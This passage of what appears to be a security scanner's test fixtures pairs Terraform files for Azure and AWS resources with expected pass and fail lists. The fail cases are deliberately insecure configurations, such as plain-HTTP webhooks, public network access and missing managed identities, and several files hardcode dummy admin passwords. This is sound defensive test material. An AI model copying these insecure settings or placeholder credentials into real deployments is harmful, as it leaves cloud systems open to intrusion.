= \"ELB\"\n  desired_capacity          = 4\n  force_delete              = true\n\n  lifecycle {\n    ignore_changes = [load_balancers, target_group_arns]\n  }\n}\n\nresource \"aws_lb_target_group\" \"alb_pass\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 8080\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n\n  health_check {\n    path                = \"/\"\n    port                = 8080\n    protocol            = \"HTTP\"\n    healthy_threshold   = 3\n    unhealthy_threshold = 3\n    matcher             = \"200-499\"\n  }\n}\n\nresource \"aws_autoscaling_attachment\" \"alb_pass\" {\n  autoscaling_group_name = aws_autoscaling_group.alb_pass.id\n  lb_target_group_arn    = aws_lb_target_group.alb_pass.arn\n}\n\nresource \"aws_autoscaling_group\" \"alb_fail\" {\n  max_size                  = 5\n  min_size                  = 2\n  health_check_grace_period = 300\n  health_check_type         = \"ELB\"\n  desired_capacity          = 4\n  force_delete              = true\n\n  lifecycle {\n    ignore_changes = [load_balancers, target_group_arns]\n  }\n}\n\nresource \"aws_lb_target_group\" \"alb_fail\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 8080\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n}\n\nresource \"aws_autoscaling_attachment\" \"alb_fail\" {\n  autoscaling_group_name = aws_autoscaling_group.alb_fail.id\n  lb_target_group_arn    = aws_lb_target_group.alb_fail.arn\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureACR_HTTPSwebhook/expected.yaml",
    "content": "pass:\n  - \"azurerm_container_registry_webhook.pass\"\nfail:\n  - \"azurerm_container_registry_webhook.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureACR_HTTPSwebhook/main.tf",
    "content": "# PASS Case: \"service_uri\" starts with https://\n\nresource \"azurerm_container_registry_webhook\" \"pass\" {\n  name                = \"pudwebhook\"\n  resource_group_name = azurerm_resource_group.pudrg.name\n  registry_name       = azurerm_container_registry.acr.name\n  location            = azurerm_resource_group.pudrg.location\n\n  service_uri = \"https://pudwebhookreceiver.pud/prx\"\n  status      = \"enabled\"\n  scope       = \"prx:*\"\n  actions     = [\"push\"]\n  custom_headers = {\n    \"Content-Type\" = \"application/json\"\n  }\n}\n\n# FAIL Case: \"service_uri\" does NOT start with https:// \n\nresource \"azurerm_container_registry_webhook\" \"fail\" {\n  name                = \"pudwebhook\"\n  resource_group_name = azurerm_resource_group.pudrg.name\n  registry_name       = azurerm_container_registry.acr.name\n  location            = azurerm_resource_group.pudrg.location\n\n  service_uri = \"http://pudwebhookreceiver.pud/prx\"\n  status      = \"enabled\"\n  scope       = \"prx:*\"\n  actions     = [\"push\"]\n  custom_headers = {\n    \"Content-Type\" = \"application/json\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAKSclusterAzureCNIEnabled/expected.yaml",
    "content": "pass:\n  - \"azurerm_kubernetes_cluster.pass\"\nfail:\n  - \"azurerm_kubernetes_cluster.fail_1\"\n  - \"azurerm_kubernetes_cluster.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAKSclusterAzureCNIEnabled/main.tf",
    "content": "# PASS case: \"network_profile.network_plugin = azure\" \n\nresource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                = \"pudpasscluster\"\n  location            = azurerm_resource_group.pudaksclus.location\n  resource_group_name = azurerm_resource_group.pudaksclus.name\n  dns_prefix          = \"pudaks\"\n  node_resource_group = \"pudaksclus\"\n  default_node_pool {\n    type           = \"AvailabilitySet\"\n    name           = \"default\"\n    node_count     = 3\n    vm_size        = \"Standard_D2_v2\"\n    vnet_subnet_id = azurerm_subnet.dep-subnet-pudakssubnet.id\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  network_profile {\n    network_plugin = \"azure\"\n  }\n  oms_agent {\n    log_analytics_workspace_id = azurerm_log_analytics_workspace.pudaksclus.id\n  }\n  http_application_routing_enabled  = false\n  role_based_access_control_enabled = true\n}\n\n# FAIL case 1: \"network_profile.network_plugin\" not equals to 'azure'\n\nresource \"azurerm_kubernetes_cluster\" \"fail_1\" {\n  name                = \"pudpasscluster\"\n  location            = azurerm_resource_group.pudaksclus.location\n  resource_group_name = azurerm_resource_group.pudaksclus.name\n  dns_prefix          = \"pudaks\"\n  node_resource_group = \"pudaksclus\"\n  default_node_pool {\n    type           = \"AvailabilitySet\"\n    name           = \"default\"\n    node_count     = 3\n    vm_size        = \"Standard_D2_v2\"\n    vnet_subnet_id = azurerm_subnet.dep-subnet-pudakssubnet.id\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  network_profile {\n    network_plugin = \"kubernet\"\n  }\n  oms_agent {\n    log_analytics_workspace_id = azurerm_log_analytics_workspace.pudaksclus.id\n  }\n  http_application_routing_enabled  = false\n  role_based_access_control_enabled = true\n}\n\n# FAIL case 2: \"network_profile.network_plugin\" does not exist\n\n# If \"network_profile\" block is absent, by default the value is taken as 'kubernet\n# FMI: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/kubernetes_cluster#network_profile\n\nresource \"azurerm_kubernetes_cluster\" \"fail_2\" {\n  name                = \"pudpasscluster\"\n  location            = azurerm_resource_group.pudaksclus.location\n  resource_group_name = azurerm_resource_group.pudaksclus.name\n  dns_prefix          = \"pudaks\"\n  node_resource_group = \"pudaksclus\"\n  default_node_pool {\n    type           = \"AvailabilitySet\"\n    name           = \"default\"\n    node_count     = 3\n    vm_size        = \"Standard_D2_v2\"\n    vnet_subnet_id = azurerm_subnet.dep-subnet-pudakssubnet.id\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  oms_agent {\n    log_analytics_workspace_id = azurerm_log_analytics_workspace.pudaksclus.id\n  }\n  http_application_routing_enabled  = false\n  role_based_access_control_enabled = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureActiveDirectoryAdminIsConfigured/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_server.sql_server_good\"\nfail:\n  - \"azurerm_sql_server.sql_server_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureActiveDirectoryAdminIsConfigured/main.tf",
    "content": "data \"azurerm_client_config\" \"current\" {}\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_sql_server\" \"sql_server_good\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_sql_server\" \"sql_server_bad\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\nresource \"azurerm_sql_active_directory_administrator\" \"example\" {\n  server_name         = azurerm_sql_server.sql_server_good.name\n  resource_group_name = azurerm_resource_group.example.name\n  login               = \"sqladmin\"\n  tenant_id           = data.azurerm_client_config.current.tenant_id\n  object_id           = data.azurerm_client_config.current.object_id\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs/expected.yaml",
    "content": "pass:\n  - \"azurerm_virtual_machine.virtual_machine_good_1\"\nfail:\n  - \"azurerm_virtual_machine.virtual_machine_bad_1\"\n  - \"azurerm_virtual_machine.virtual_machine_bad_2\"\n  - \"azurerm_virtual_machine.virtual_machine_bad_3\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs/main.tf",
    "content": "resource \"azurerm_virtual_machine\" \"virtual_machine_good_1\" {\n  name                  = \"acctvm\"\n  location              = \"location\"\n  resource_group_name   = \"group\"\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_F2\"\n  storage_os_disk {\n    name          = \"myosdisk1\"\n    caching       = \"ReadWrite\"\n    create_option = \"FromImage\"\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_bad_1\" {\n  name                  = \"acctvm\"\n  location              = \"location\"\n  resource_group_name   = \"group\"\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_F2\"\n  storage_os_disk {\n    name          = \"myosdisk1\"\n    caching       = \"ReadWrite\"\n    create_option = \"FromImage\"\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_bad_2\" {\n  name                  = \"acctvm\"\n  location              = \"location\"\n  resource_group_name   = \"group\"\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_F2\"\n  storage_os_disk {\n    name          = \"myosdisk1\"\n    caching       = \"ReadWrite\"\n    create_option = \"FromImage\"\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"virtual_machine_bad_3\" {\n  name                  = \"acctvm\"\n  location              = \"location\"\n  resource_group_name   = \"group\"\n  network_interface_ids = [\"id\"]\n  vm_size               = \"Standard_F2\"\n  storage_os_disk {\n    name          = \"myosdisk1\"\n    caching       = \"ReadWrite\"\n    create_option = \"FromImage\"\n  }\n}\n\nresource \"azurerm_virtual_machine_extension\" \"extension_good_1\" {\n  name                 = \"hostname\"\n  virtual_machine_id   = azurerm_virtual_machine.virtual_machine_good_1.id\n  publisher            = \"Microsoft.Azure.Security\"\n  type                 = \"IaaSAntimalware\"\n  type_handler_version = \"2.0\"\n  auto_upgrade_minor_version = true\n}\n\nresource \"azurerm_virtual_machine_extension\" \"extension_bad_1\" {\n  name                 = \"hostname\"\n  virtual_machine_id   = azurerm_virtual_machine.virtual_machine_bad_1.id\n  publisher            = \"Microsoft.Azure.Extensions\"\n  type                 = \"IaaSAntimalware\"\n  type_handler_version = \"2.0\"\n  auto_upgrade_minor_version = true\n}\n\nresource \"azurerm_virtual_machine_extension\" \"extension_bad_2\" {\n  name                 = \"hostname\"\n  virtual_machine_id   = azurerm_virtual_machine.virtual_machine_bad_2.id\n  publisher            = \"Microsoft.Azure.Security\"\n  type                 = \"IaaSAntimalware\"\n  type_handler_version = \"2.0\"\n  auto_upgrade_minor_version = false\n}\n\nresource \"azurerm_virtual_machine_extension\" \"extension_bad_3\" {\n  name                 = \"hostname\"\n  virtual_machine_id   = azurerm_virtual_machine.virtual_machine_bad_3.id\n  publisher            = \"Microsoft.Azure.Security\"\n  type                 = \"CustomScript\"\n  type_handler_version = \"2.0\"\n  auto_upgrade_minor_version = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAutomationAccConfigManagedIdentity/expected.yaml",
    "content": "pass:\n  - \"azurerm_automation_account.pass\"\n\nfail:\n  - \"azurerm_automation_account.fail_1\"\n  - \"azurerm_automation_account.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAutomationAccConfigManagedIdentity/main.tf",
    "content": "resource \"azurerm_automation_account\" \"pass\" {\n  name                = \"pud-automatix\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  sku                 = \"Standard\"\n  identity {\n    type = \"SystemAssigned, UserAssigned\"\n  }\n\n}\n\nresource \"azurerm_automation_account\" \"fail_1\" {\n  name                = \"pud-automatix\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  sku                 = \"Standard\"\n\n}\n\n\nresource \"azurerm_automation_account\" \"fail_2\" {\n  name                = \"pud-automatix\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  sku                 = \"Standard\"\n  identity {\n    type = \" \"\n  }\n\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAutomationAccNotOverlyPermissiveNetAccess/expected.yaml",
    "content": "pass:\n  - \"azurerm_automation_account.pass\"\nfail:\n  - \"azurerm_automation_account.fail_1\"\n  - \"azurerm_automation_account.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureAutomationAccNotOverlyPermissiveNetAccess/main.tf",
    "content": "# PASS case: public_network_access_enabled exists and public_network_access_enabled = \"false\".\n\nresource \"azurerm_automation_account\" \"pass\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"Basic\"\n  public_network_access_enabled = \"false\"\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\n# FAIL case 1: public_network_access_enabled exists BUT public_network_access_enabled = \"true\".\n\nresource \"azurerm_automation_account\" \"fail_1\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"Basic\"\n  public_network_access_enabled = true\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\n# FAIL case 2: public_network_access_enabled does NOT exist.\n\nresource \"azurerm_automation_account\" \"fail_2\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"Basic\"\n\n  tags = {\n    environment = \"development\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureCognitiveServicesCustomerManagedKey/expected.yaml",
    "content": "pass:\n  - \"azurerm_cognitive_account.cognitive_account_good\"\nfail:\n  - \"azurerm_cognitive_account.cognitive_account_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureCognitiveServicesCustomerManagedKey/main.tf",
    "content": "data \"azurerm_client_config\" \"current\" {}\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West US\"\n}\n\n\n#fail\nresource \"azurerm_cognitive_account\" \"cognitive_account_bad\" {\n  name                = \"example-account\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  kind                = \"Face\"\n  sku_name            = \"S0\"\n}\n\n\n#pass\nresource \"azurerm_cognitive_account\" \"cognitive_account_good\" {\n  name                  = \"example-account\"\n  location              = azurerm_resource_group.example.location\n  resource_group_name   = azurerm_resource_group.example.name\n  kind                  = \"Face\"\n  sku_name              = \"E0\"\n  public_network_access_enabled = false\n}\n\nresource \"azurerm_key_vault\" \"good_vault\" {\n  name                     = \"example-vault\"\n  location                 = azurerm_resource_group.example.location\n  resource_group_name      = azurerm_resource_group.example.name\n  tenant_id                = data.azurerm_client_config.current.tenant_id\n  sku_name                 = \"standard\"\n}\n\nresource \"azurerm_key_vault_key\" \"good_key\" {\n  name         = \"example-key\"\n  key_vault_id = azurerm_key_vault.good_vault.id\n  key_type     = \"RSA\"\n  key_size     = 2048\n  key_opts     = [\"decrypt\", \"encrypt\", \"sign\", \"unwrapKey\", \"verify\", \"wrapKey\"]\n}\n\nresource \"azurerm_cognitive_account_customer_managed_key\" \"good_cmk\" {\n  cognitive_account_id = azurerm_cognitive_account.cognitive_account_good.id\n  key_vault_key_id     = azurerm_key_vault_key.good_key.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureConfigMSSQLwithAD/expected.yaml",
    "content": "pass:\n  - \"azurerm_mssql_server.pass\"\nfail:\n  - \"azurerm_mssql_server.fail_1\"\n  - \"azurerm_mssql_server.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureConfigMSSQLwithAD/main.tf",
    "content": "# PASS case: \"azuread_administrator.login_username\" exists\n\nresource \"azurerm_mssql_server\" \"pass\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = \"pud-bcrew-RG\"\n  location                     = \"azurerm_resource_group.example.location\"\n  version                      = \"12.0\"\n  administrator_login          = \"missadministrator\"\n  administrator_login_password = \"thisIsKat11\"\n  minimum_tls_version          = \"1.2\"\n    azuread_administrator {\n      azuread_authentication_only = true\n      login_username = \"pud\"\n      object_id      = \"908-au767-098776\"\n    }\n\n  tags = {\n    environment = \"prod-01\"\n  }\n}\n\n#FAIL case 1: \"azuread_administrator.login_username\" doesn't exist\n\nresource \"azurerm_mssql_server\" \"fail_1\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.dep-rg-j1-1-rlp-77266.name\n  location                     = azurerm_resource_group.dep-rg-j1-1-rlp-77266.location\n  version                      = \"12.0\"\n  administrator_login          = \"pudadministrator1\"\n  administrator_login_password = \"thisIspudfortest2\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\n# FAIL case 2: \"azuread_administrator.login_username\" exists\n\nresource \"azurerm_mssql_server\" \"fail_2\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = \"pud-bcrew-RG\"\n  location                     = \"azurerm_resource_group.example.location\"\n  version                      = \"12.0\"\n  administrator_login          = \"missadministrator\"\n  administrator_login_password = \"thisIsKat11\"\n  minimum_tls_version          = \"1.2\"\n    azuread_administrator {\n      azuread_authentication_only = true\n      login_username = \" \"\n      object_id      = \"908-au767-098776\"\n    }\n\n  tags = {\n    environment = \"prod-01\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureContainerInstanceconfigManagedIdentity/expected.yaml",
    "content": "pass:\n  - \"azurerm_container_group.pass\"\nfail:\n  - \"azurerm_container_group.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureContainerInstanceconfigManagedIdentity/main.tf",
    "content": "# PASS case: \"identity\" block exists & \"identity.type\" is not empty\n\nresource \"azurerm_container_group\" \"pass\" {\n  name                = \"pud_pass_container\"\n  resource_group_name = azurerm_resource_group.pudrg.name\n  location            = azurerm_resource_group.pudrg.location\n  ip_address_type     = \"None\"\n  os_type             = \"Linux\"\n  container {\n    name   = \"dep-containerinstance-3\"\n    image  = \"mcr.microsoft.com/azuredocs/aci-helloworld:latest\"\n    cpu    = \"0.5\"\n    memory = \"1.5\"\n    ports {\n      port = 443\n    }\n    secure_environment_variables={\n      minLegth=5\n      maxLength=10\n      password=1234567\n    }\n  }\n  container {\n    name   = \"dep-containerinstance-4\"\n    image  = \"mcr.microsoft.com/azuredocs/aci-helloworld:latest\"\n    cpu    = \"0.5\"\n    memory = \"1.5\"\n  }\n  identity {\n    type         = \"SystemAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.dep-uai-j1-2-rlp-74782.id\n    ]\n  }\n}\n\n\n# FAIL case: \"identity\" block does not exist\n\nresource \"azurerm_container_group\" \"fail\" {\n  name                = \"pud_fail_container\"\n  resource_group_name = azurerm_resource_group.pudrg.name\n  location            = azurerm_resource_group.pudrg.location\n  ip_address_type     = \"None\"\n  os_type             = \"Linux\"\n  container {\n    name   = \"dep-containerinstance-3\"\n    image  = \"mcr.microsoft.com/azuredocs/aci-helloworld:latest\"\n    cpu    = \"0.5\"\n    memory = \"1.5\"\n    ports {\n      port = 443\n    }\n    secure_environment_variables={\n      minLegth=5\n      maxLength=10\n      password=1234567\n    }\n  }\n  container {\n    name   = \"dep-containerinstance-4\"\n    image  = \"mcr.microsoft.com/azuredocs/aci-helloworld:latest\"\n    cpu    = \"0.5\"\n    memory = \"1.5\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureDataFactoriesEncryptedWithCustomerManagedKey/expected.yaml",
    "content": "pass:\n  - \"azurerm_data_factory.data_factory_good\"\nfail:\n  - \"azurerm_data_factory.data_factory_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureDataFactoriesEncryptedWithCustomerManagedKey/main.tf",
    "content": "resource \"azurerm_data_factory\" \"data_factory_good\" {\n  name                = \"example\"\n  location            = \"location\"\n  resource_group_name = \"group\"\n}\n\nresource \"azurerm_data_factory\" \"data_factory_bad\" {\n  name                = \"example\"\n  location            = \"location\"\n  resource_group_name = \"group\"\n}\n\nresource \"azurerm_data_factory_linked_service_key_vault\" \"factory_good\" {\n  name                = \"example\"\n  resource_group_name = \"example\"\n  data_factory_name   = azurerm_data_factory.data_factory_good.name\n  key_vault_id        = \"123456\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureKeyVaultConfigPrivateEndpoint/expected.yaml",
    "content": "pass:\n  - \"azurerm_key_vault.pass\"\nfail:\n  - \"azurerm_key_vault.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureKeyVaultConfigPrivateEndpoint/main.tf",
    "content": "# PASS case: Keyvault is connected to private endpoint\n\nresource \"azurerm_key_vault\" \"pass\" {\n  name                        = \"pass\"\n  location                    = azurerm_resource_group.dep-rg-j1-1-rlp-72704.location\n  resource_group_name         = azurerm_resource_group.dep-rg-j1-1-rlp-72704.name\n  enabled_for_disk_encryption = true\n  tenant_id                   = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days  = 7\n  purge_protection_enabled    = false\n\n  sku_name = \"standard\"\n\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n  network_acls {\n    bypass         = \"AzureServices\"\n    default_action = \"Allow\"\n\n  }\n}\n\nresource \"azurerm_private_endpoint\" \"pud_privendpt\" {\n  name                = \"pud_privendpt\"\n  location            = azurerm_resource_group.pud_rg.location\n  resource_group_name = azurerm_resource_group.pud_rg.name\n  subnet_id           = azurerm_subnet.dep_pud_subn.id\n\n  private_service_connection {\n    name                           = \"kv-privateserviceconnection\"\n    private_connection_resource_id = azurerm_key_vault.pass.id\n    is_manual_connection           = false\n    subresource_names = [\"vault\"]\n  }\n}\n\n\n# FAIL case key vault is NOT connected to private endpoint\n\nresource \"azurerm_key_vault\" \"fail\" {\n  name                        = \"fail\"\n  location                    = azurerm_resource_group.dep-rg-j1-1-rlp-72704.location\n  resource_group_name         = azurerm_resource_group.dep-rg-j1-1-rlp-72704.name\n  enabled_for_disk_encryption = true\n  tenant_id                   = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days  = 7\n  purge_protection_enabled    = false\n\n  sku_name = \"standard\"\n\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n  network_acls {\n    bypass         = \"AzureServices\"\n    default_action = \"Allow\"\n\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMLWorkspaceHBIPublicNetwork/expected.yaml",
    "content": "pass:\n  - \"azurerm_machine_learning_workspace.pass1\"\n  - \"azurerm_machine_learning_workspace.pass2\"\nfail:\n  - \"azurerm_machine_learning_workspace.fail1\"\n  - \"azurerm_machine_learning_workspace.fail2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMLWorkspaceHBIPublicNetwork/main.tf",
    "content": "resource \"azurerm_storage_account\" \"example\" {\n  name                     = \"example-storage\"\n  resource_group_name      = \"example-group\"\n  location                 = \"West Europe\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_storage_account\" \"example-default\" {\n  name                     = \"example-storage\"\n  resource_group_name      = \"example-group\"\n  location                 = \"West Europe\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_storage_account\" \"pass\" {\n  name                     = \"example-storage\"\n  resource_group_name      = \"example-group\"\n  location                 = \"West Europe\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n  public_network_access_enabled = false\n}\n\nresource \"azurerm_machine_learning_workspace\" \"fail1\" {\n  name                    = \"example-workspace2\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = azurerm_storage_account.example.id\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  high_business_impact = true\n\n}\nresource \"azurerm_machine_learning_workspace\" \"fail2\" {\n  name                    = \"example-workspace2\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = azurerm_storage_account.example-default.id\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  high_business_impact = true\n}\n\nresource \"azurerm_machine_learning_workspace\" \"pass1\" {\n  name                    = \"example-workspace2\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = azurerm_storage_account.example.id\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  high_business_impact = false\n\n}\n\nresource \"azurerm_machine_learning_workspace\" \"pass2\" {\n  name                    = \"example-workspace2\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = azurerm_storage_account.pass.id\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  high_business_impact = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMLWorkspacePublicNetwork/expected.yaml",
    "content": "pass:\n  - \"azurerm_machine_learning_workspace.pass1\"\n  - \"azurerm_machine_learning_workspace.pass2\"\nfail:\n  - \"azurerm_machine_learning_workspace.failed\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMLWorkspacePublicNetwork/main.tf",
    "content": "resource \"azurerm_machine_learning_workspace\" \"pass1\" {\n  name                    = \"example-workspace\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = \"id3\"\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_machine_learning_workspace\" \"pass2\" {\n  name                    = \"example-workspace2\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = \"id3\"\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  public_network_access_enabled=false\n}\n\nresource \"azurerm_machine_learning_workspace\" \"failed\" {\n  name                    = \"example-workspace3\"\n  location                = \"West Europe\"\n  resource_group_name     = \"example-rg\"\n  application_insights_id = \"id1\"\n  key_vault_id            = \"id2\"\n  storage_account_id      = \"id3\"\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  public_network_access_enabled = true\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMSSQLServerHasSecurityAlertPolicy/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_server.sql_server_good_1\"\n  - \"azurerm_sql_server.sql_server_good_2\"\nfail:\n  - \"azurerm_sql_server.sql_server_bad_1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMSSQLServerHasSecurityAlertPolicy/main.tf",
    "content": "resource \"azurerm_sql_server\" \"sql_server_good_1\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = \"group\"\n  location                     = \"location\"\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_sql_server\" \"sql_server_good_2\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = \"group\"\n  location                     = \"location\"\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\nresource \"azurerm_sql_server\" \"sql_server_bad_1\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = \"group\"\n  location                     = \"location\"\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"alert_policy_good\" {\n  resource_group_name        = \"group\"\n  server_name                = azurerm_sql_server.sql_server_good_1.name\n  state                      = \"Enabled\"\n  retention_days = 20\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"alert_policy_bad\" {\n  resource_group_name        = \"group\"\n  server_name                = azurerm_sql_server.sql_server_bad_1.name\n  state                      = \"Disabled\"\n  retention_days = 20\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMSSQLserverConfigPrivEndpt/expected.yaml",
    "content": "pass:\n  - \"azurerm_mssql_server.pass\"\nfail:\n  - \"azurerm_mssql_server.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AzureMSSQLserverConfigPrivEndpt/main.tf",
    "content": "\nvariable \"resource_group_name\" {\n  default = \"pud_mssql_rg\"\n}\n\nvariable \"location\" {\n  default = \"East US 2\"\n}\n\nvariable \"subnet_id\" {\n  default = \"pud-az-subnet\"\n}\n\n# case 1: PASS: azurerm_private_endpoint exists and is connected\n\nresource \"azurerm_mssql_server\" \"pass\" {\n  name                = \"pass_mssql_server\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n\n  administrator_login          = \"pud\"\n  administrator_login_password = \"P@ssw0rd@1\" # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"11\"\n  storage_mb = 5120\n\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = false\n\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\nresource \"azurerm_private_endpoint\" \"pass_priendpt\" {\n  name                = \"pass_priendpt\"\n  location            = var.location\n  resource_group_name = var.resource_group_name\n  subnet_id           = var.subnet_id\n\n  private_service_connection {\n    name                           = 